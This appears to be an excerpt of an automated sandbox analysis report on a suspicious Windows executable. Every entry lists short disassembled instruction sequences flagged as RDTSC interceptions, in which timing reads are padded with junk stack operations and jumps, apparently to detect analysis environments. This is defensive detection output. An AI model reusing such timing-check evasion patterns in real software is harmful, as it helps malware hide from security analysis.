Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124644D second address: 1246474 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push edi 0x0000000b jp 00007FA470BCBE6Ch 0x00000011 pushad 0x00000012 jno 00007FA470BCBE66h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124672C second address: 1246731 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1246731 second address: 1246772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA470BCBE72h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e jmp 00007FA470BCBE77h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jnp 00007FA470BCBE66h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1246772 second address: 124678B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA47177F555h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124CA8F second address: 124CA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124CA93 second address: 124CA97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124CA97 second address: 124CAB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FA470BCBE7Ch 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 je 00007FA470BCBE66h 0x00000019 popad 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124CD61 second address: 124CD67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124CD67 second address: 124CD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124CD6D second address: 124CD71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124CD71 second address: 124CD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D05C second address: 124D060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D060 second address: 124D066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D066 second address: 124D078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FA47177F54Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D2FB second address: 124D300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D300 second address: 124D306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D306 second address: 124D30A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D30A second address: 124D317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D317 second address: 124D329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA470BCBE66h 0x0000000a jnc 00007FA470BCBE66h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D329 second address: 124D32E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D5D3 second address: 124D5E1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124D5E1 second address: 124D5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124DE4E second address: 124DE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FA470BCBE66h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1250043 second address: 1250047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B16D0 second address: 11B16E2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA470BCBE68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 126015F second address: 1260165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1260826 second address: 1260832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FA470BCBE66h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1260C80 second address: 1260C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA47177F546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1260C8A second address: 1260CA2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FA470BCBE6Ah 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1260CA2 second address: 1260CA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1260CA7 second address: 1260CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1260CAF second address: 1260CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A79A2 second address: 11A79BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FA470BCBE66h 0x0000000f jmp 00007FA470BCBE6Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A79BC second address: 11A79C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1268649 second address: 126864F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 126864F second address: 1268654 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 126822D second address: 1268231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1268231 second address: 1268237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1268237 second address: 1268243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1268243 second address: 126824C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 126E844 second address: 126E866 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA470BCBE68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FA470BCBE82h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FA470BCBE6Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12756EA second address: 12756FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jns 00007FA47177F546h 0x0000000d jg 00007FA47177F546h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1277CC3 second address: 1277CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1277CC7 second address: 1277CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FA47177F54Eh 0x0000000e pushad 0x0000000f popad 0x00000010 jl 00007FA47177F546h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1277CDD second address: 1277CE2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 127B833 second address: 127B842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007FA47177F546h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1292804 second address: 1292808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1292808 second address: 129281E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F552h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12929B4 second address: 12929B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12929B8 second address: 12929BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12929BD second address: 12929CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jbe 00007FA470BCBE66h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12929CF second address: 12929D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1292CCE second address: 1292CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1292F48 second address: 1292F7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA47177F551h 0x00000008 jmp 00007FA47177F54Bh 0x0000000d jmp 00007FA47177F551h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1292F7D second address: 1292F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 129320F second address: 1293213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1293213 second address: 1293219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1293C06 second address: 1293C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA47177F554h 0x00000009 push ebx 0x0000000a je 00007FA47177F546h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1297867 second address: 129786D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 129786D second address: 1297871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1297871 second address: 1297875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1297875 second address: 1297885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA47177F546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1297885 second address: 1297891 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007FA470BCBE66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1297891 second address: 1297896 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1297896 second address: 12978B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnl 00007FA470BCBE68h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jbe 00007FA470BCBE93h 0x00000013 push ecx 0x00000014 jc 00007FA470BCBE66h 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12978B7 second address: 12978BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 129745E second address: 1297462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1297462 second address: 129746C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FA47177F546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1298E3D second address: 1298E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12A6E82 second address: 12A6E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jo 00007FA47177F54Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12A6E91 second address: 12A6E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12A21EE second address: 12A2211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA47177F556h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12A2211 second address: 12A2216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12B38AA second address: 12B38C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA47177F557h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12B59EA second address: 12B59EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12B59EE second address: 12B59F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12B59F2 second address: 12B59F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12B59F8 second address: 12B5A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12B556A second address: 12B5570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12B5570 second address: 12B5574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CC595 second address: 12CC5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 je 00007FA470BCBE66h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CC72F second address: 12CC74A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 ja 00007FA47177F54Ch 0x0000000b popad 0x0000000c je 00007FA47177F562h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CC74A second address: 12CC75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA470BCBE6Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CCA2C second address: 12CCA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FA47177F559h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CCC1E second address: 12CCC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CCC22 second address: 12CCC26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CCC26 second address: 12CCC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CCC2C second address: 12CCC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA47177F54Dh 0x0000000b popad 0x0000000c je 00007FA47177F55Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FA47177F546h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CCC4E second address: 12CCC54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CD179 second address: 12CD1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007FA47177F54Eh 0x0000000c pop edx 0x0000000d push eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007FA47177F54Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12CD1A3 second address: 12CD1B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007FA470BCBE66h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12D2C0E second address: 12D2C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12D2EB6 second address: 12D2ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA470BCBE66h 0x0000000a popad 0x0000000b push eax 0x0000000c jng 00007FA470BCBE6Eh 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12D489B second address: 12D48A5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA47177F546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EDBDA second address: 11EDBDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50003CC second address: 50003DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA47177F54Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50003DC second address: 50003FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA470BCBE6Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50003FA second address: 50003FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
